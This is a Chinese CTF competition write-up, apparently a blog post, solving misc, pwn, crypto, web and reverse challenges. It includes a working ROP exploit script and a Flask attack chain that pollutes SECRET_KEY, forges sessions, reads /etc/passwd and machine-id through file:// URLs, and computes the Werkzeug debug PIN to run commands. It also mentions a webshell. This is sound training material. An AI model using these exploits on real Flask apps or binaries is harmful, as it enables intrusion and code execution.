内部赛-2023第三届网络安全攻防大赛个人赛③-决赛WriteUp

有几个不会的,接着卷.

misc

where_is_pwd

用hint.zip 明文攻击

得到FLAG hint.txt 和另一个压缩包

FLAG改名为FLAG.TTF 导入字体

hint.txt内容复制到word 全选 改字体得到压缩包密码

三裂偏移

给了提示: 推测每行数字为三个点,对应原点位置偏移量,利用三圆定位法确定原点位 以及 insec函数

直接用提示的脚本来吧.

import math
import re


def insec(p1, r1, p2, r2):
    x = p1[0]
    y = p1[1]
    R = r1
    a = p2[0]
    b = p2[1]
    S = r2
    d = math.sqrt((abs(a - x)) ** 2 + (abs(b - y)) ** 2)
    if d > (R + S) or d < (abs(R - S)):
        print("Two circles have no intersection")
        return
    elif d == 0 and R == S:
        print("Two circles have same center!")
        return
    else:
        A = (R ** 2 - S ** 2 + d ** 2) / (2 * d)
        h = math.sqrt(R ** 2 - A ** 2)
        x2 = x + A * (a - x) / d
        y2 = y + A * (b - y) / d
        x3 = round(x2 - h * (b - y) / d, 2)
        y3 = round(y2 + h * (a - x) / d, 2)
        x4 = round(x2 + h * (b - y) / d, 2)
        y4 = round(y2 - h * (a - x) / d, 2)
        s0 = {(x3, y3), (x4, y4)}
        return s0


def go():
    lst = []
    f = open('data.txt', 'r', encoding='utf8')
    txt = f.read()
    for line in txt.splitlines():
        res = line.strip(';').split(";")
        a1, a2, a3 = res

        "'(661, 103)-655.3388436526558'"
        p1, r1 = get_param(a1)
        p2, r2 = get_param(a2)
        p3, r3 = get_param(a3)
        rs = insec(p1, r1, p2, r2)
        rs2 = insec(p3, r3, p2, r2)
        point = rs & rs2
        lst.append(point)

    f1 = open('point.txt', 'w', encoding='utf8')
    for line in lst:
        x,y = line.pop()
        f1.write(f"{x} {y}\n")
    f1.close()


def get_param(a1):
    m = re.search(r"\((\d+), (\d+)\)(.*)", a1).groups()
    p1 = float(m[0]), float(m[1])
    r1 = float(m[2][1:])
    return p1, r1


go()

画一下坐标即可 .

pwn

Findpath

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from ctypes import *
# context.log_level = 'debug'
def exp():
    pop_rdi_ret = 0x000000000040173b
    leave_ret = 0x000000000040164e
    # payload = p64(0x404040 + 0x100)
    payload = "I_can_find_the_right_path\n\n"
    payload = payload.ljust(0x20,'\x00')
    payload += p64(0x401737)
    payload += p64(0x401716)
    print(len(payload))
    p.send(payload)
    payload = "a"*0x30
    payload += p64(0x404040 + 0x18)
    payload += p64(leave_ret)
    p.recv()
    p.send(payload)
    
    payload = p64(0x404040 + 0x500)
    payload += p64(0x401716)
    payload = payload.ljust(0x30,"a")
    payload += p64(0x404030)
    payload += p64(leave_ret)
    p.send(payload)
    
    sleep(0.01)
    payload = p64(0x404040 + 0x600)
    payload += p64(pop_rdi_ret)
    payload += p64(elf.got["puts"])
    payload += p64(elf.sym["puts"])
    payload += p64(0x401716)
    payload = payload.ljust(0x30,"a")
    payload += p64(0x404010 + 0x500)
    payload += p64(leave_ret)
    p.send(payload)
    
    libc_base = l64() - libc.sym["puts"]
    print(hex(libc_base))
    pop_rdx_r12 = 0x0000000000090529 + libc_base
    pop_rsi_ret = libc_base + libc.search(asm("pop rsi;ret"),executable=True).next()
    pop_rsp_ret = libc_base + libc.search(asm("pop rsp;ret"),executable=True).next()
    sleep(0.01)
    payload = p64(0x404040 + 0x700)
    payload += p64(pop_rsi_ret)
    payload += p64(0x404630)
    payload += p64(elf.sym["read"])
    payload += p64(0x40184C)
    payload = payload.ljust(0x30,"a")
    payload += p64(0x404608+0x8)
    payload += p64(leave_ret)
    p.send(payload)
    sleep(0.01)
    p.send(p64(pop_rsi_ret) + p64(0x404660) + p64(pop_rdx_r12) + p64(0x60)*2  +p64(elf.sym["read"]))
    sleep(0.01)
    #leak heap
    addr = 0x2193c0 + libc_base
    payload = p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(addr) + p64(libc_base + libc.sym["write"]) 
    payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(0x4046b0)
    payload += p64(elf.sym["read"])
    p.send(payload)
    heap_addr = (p.recv(8))
    heap_addr = u64(p.recv(8))
    print(hex(heap_addr))
    p.recv(0x58)
    payload = p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(heap_addr + 0x2d0) + p64(pop_rdx_r12) + p64(0x100)*2 +p64(libc_base + libc.sym["write"]) 
    # log.hexdump(heap_addr)
    p.send(payload)
    sleep(0.01)
    p.interactive()
if __name__ == "__main__":
    binary = './pwn1'
    elf = ELF('./pwn1')
    context.binary = binary
    libc = ELF("./libc.so.6")
    if(len(sys.argv) == 3):
        p = remote(sys.argv[1],sys.argv[2])
    else:
        p = process(binary)
        # p = process(["seccomp-tools","dump","./pwn1"])
    l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    rl  = lambda      : p.recv()
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    exp()
"""
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL
  rbp == NULL || (u16)[rbp] == NULL

0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
"""
   

Crypto

matrix

题目分成三个挑战,要求都是恢复m,哈希后和密文异或即可解密

第一轮M没有缺少列,所以可以直接用solve_left解出来。

第二轮M少了一列,但可以通过爆破来恢复前31个字节,然后判断是否在范围内,从而确定最后的m

第三轮M少了一半,只能用格来做。造一个49*48的格,LLL后取第二行的后32个,svp得到的结果就是m

exp:

from Crypto.Util.number import *
import hashlib

LEN = 32
def xor(a, b):
    return bytes([a[i%len(a)] ^^ b[i%len(b)] for i in range(max(len(a), len(b)))])

def chall1(data, enc):
    print("chall1")
    M = data['M']
    p = data['p']
    c = data['c']
    M = matrix(Zmod(p), LEN, LEN, M)
    c = vector(Zmod(p), c)
    m = M.solve_left(c)
    print(m)        
    tmp = b''
    for i in range(LEN):
        tmp += long_to_bytes(int(m[i]))
    print(len(tmp))
    return xor(enc, hashlib.sha512(tmp).digest())

def chall2(data, enc):
    print("chall2")
    M = data['M']
    p = data['p']
    c = data['c']
    M = matrix(Zmod(p), LEN, LEN-1, M)
    M = M[:32]
    # print(M)
    c = vector(Zmod(p), c)
    # print(c)
    m = M[-1]
    for _ in range(256):
        tmp = c - _ * m
        res = M.solve_left(tmp)
        if all([0 <= res[j] <= 256 for j in range(LEN-1)]):
            break
    mm = b''
    for i in range(LEN-1):
        mm += long_to_bytes(int(res[i]))
    print(res)
    mm += long_to_bytes(_)
    print(len(mm))
    return xor(enc, hashlib.sha512(mm).digest())

def chall3(data, enc):
    print("chall3")
    M = data['M']
    p = data['p']
    c = data['c']
    M = matrix(Zmod(p), LEN, LEN//2, M)
    c = vector(Zmod(p), c)

    m = matrix(ZZ, 49, 48)
    for i in range(LEN):
        m[i, i+LEN//2] = 1
        for j in range(LEN//2):
            m[i,j] = M[i,j]
            m[j+LEN,j] = p
            m[-1, j] = c[j]
    ml = m.LLL()
    print(ml[1][16:])
    res = ml[1][16:]
    mm = b''
    for i in range(LEN):
        mm += long_to_bytes(abs(res[i]))
    print(len(mm))
    
    return xor(enc, hashlib.sha512(mm).digest())


with open("output.txt", 'r') as f:
    out = eval(f.read()[5:])

# print(out)
enc = long_to_bytes(int(out['enc'], 16))
# print(enc)
enc = chall3(out['chall3'],enc)
# print(enc)
enc = chall2(out['chall2'],enc)
# print(enc)

enc = chall1(out['chall1'],enc)
print(f"flag: {enc}")


 b'flag{db1ebd0c-1cac-55d5-763e-b05f3d9af423}\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16'

web

ezflask

通过如下利用修改key

{
    "__init\u005f_" : {
        "__globals\u005f_" : {
            "app" : {
                "config" : {
                    "SECRET_KEY" :"aaa"
                }
            }
        }
    },
    "username":1,
    "password":1
}

然后伪造session python3 flask_session_cookie_manager3.py encode -s 'aaa' -t '{"username": "admin","Login": 1}' 依次读取flask-pin码计算所需的文件

/read?url=file://127.0.0.1/etc/passwd
/read?url=file://127.0.0.1/sys/class/net/eth0/address
/read?url=file://127.0.0.1/etc/machine-id
/read?url=file://127.0.0.1/proc/self/cgroup

然后利用flask-pin.py计算处pin值,进入 /console 输入正确的pin即可获得代码执行

flask-ping

import hashlib
from itertools import chain

probably_public_bits = [
    'ctf'  # username 可通过/etc/passwd获取
    'flask.app',  # modname默认值
    'Flask',  # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)
]

private_bits = [
    '2485723361282',  # /sys/class/net/eth0/address mac地址十进制
    '96cec10d3d9307792745ec3b85c8962033876d8e5655e5c276c891fd62874a73a7b651056e98c1f896fbe1edcee12936'

    # 字符串合并:首先读取文件内容 /etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id   /proc/self/cgroup
    # 有machine-id 那就拼接machine-id + /proc/self/cgroup  否则 /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

进入 http://x.x/console 输入pin码

import os
os.popen('ls /').read()
os.popen('/readflag').read()

web2

扫到 www.zip 爆破 md5 217f81b8ff0a1ab138a8e1bdc031262e 为 leet

直接连用1337.php一句话木马.

reverse

snake

拖进 ida64 就可以发现大体逻辑很清晰

加密二稍微跟踪了一下发现是固定数组的乘法之和,实际上是四元一次方程

加密一分成两部分,上部分是字符位移

把 "Sn@k{0123456789}" 位移成了 "Sn@k678{5}904321"

下部分是异或

中间的生成异或数 函数逻辑简化如下

int sub_7FF758A91198(const char *a1)
{
    unsigned int v3; // r8d

    v3 = *a1;
    for(int i = 0; i < 3; ++i)
    {
        v3 ^= a1[4 + i * 4];
    }

    return v3;
}

解题脚本如下

from z3 import *

# 创建四个整数变量
x = Int('x')
y = Int('y')
z = Int('z')
w = Int('w')

# 定义四个方程的和
sum_values = [
    [1078, 692, 687, 786],
    [746, 595, 522, 654],
    [454, 348, 380, 378],
    [1694, 1198, 1201, 1314]
]

solutions = []  # 存储解的列表

for i in range(4):
    # 创建一个Z3求解器
    solver = Solver()

    # 添加四个方程到求解器
    equation1 = x + 5*y + 4*z + 3*w == sum_values[0][i]
    equation2 = 2*x + y + 2*z + 3*w == sum_values[1][i]
    equation3 = 2*x + y + z + w == sum_values[2][i]
    equation4 = 3*x + 5*y + 4*z + 7*w == sum_values[3][i]

    solver.add(equation1, equation2, equation3, equation4)

    # 检查是否存在解
    if solver.check() == sat:
        # 有解,获取解的模型
        model = solver.model()
        # 将解存储到列表中
        solutions.append({
            'x': model[x].as_long(),
            'y': model[y].as_long(),
            'z': model[z].as_long(),
            'w': model[w].as_long()
        })
    else:
        solutions.append(None)  # 如果没有解,存储None

last = [0] * 16
# 打印结果
for i, solution in enumerate(solutions):
    #print(f"Solution for sum{i + 1}:")
    if solution:
        #print(f"x = {solution['x']}")
        #print(f"y = {solution['y']}")
        #print(f"z = {solution['z']}")
        #print(f"w = {solution['w']}")
        last[i + 4 * 0] = solution['x']
        last[i + 4 * 1] = solution['y']
        last[i + 4 * 2] = solution['z']
        last[i + 4 * 3] = solution['w']
    else:
        print("No solution")
    #print()

print(last)
#[100, 89, 119, 92, 66, 5, 69, 4, 84, 83, 4, 104, 104, 82, 69, 86]


TestIn  = "Sn@k{0123456789}"
TestOut = "Sn@k678{5}904321"

flag = [0] * 16
#flag[0:4] = "Sn@k"
flag[0:4] = last[0:4]
for i in range(4,16):
    flag[i] = last[TestOut.find(TestIn[i])]

#a1[0] ^ a1[4] ^ a1[8] ^ a1[12]
#flag[0] = a1[4] ^ a1[8] ^ a1[12]
#flag[4] = a1[0] ^ a1[8] ^ a1[12]
#flag[8] = a1[0] ^ a1[4] ^ a1[12]
#flag[12] = a1[0] ^ a1[4] ^ a1[8]

a1 = [0] * 16
a1[0] = ord('S')
a1[4] = flag[0] ^ flag[4] ^ a1[0]
a1[8] = flag[4] ^ flag[8] ^ a1[4]
a1[12] = flag[8] ^ flag[12] ^ a1[8]

xord = a1[0] ^ a1[4] ^ a1[8] ^ a1[12]

for i in range(16):
    flag[i] = chr(flag[i] ^ xord);

print("".join(flag))
  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值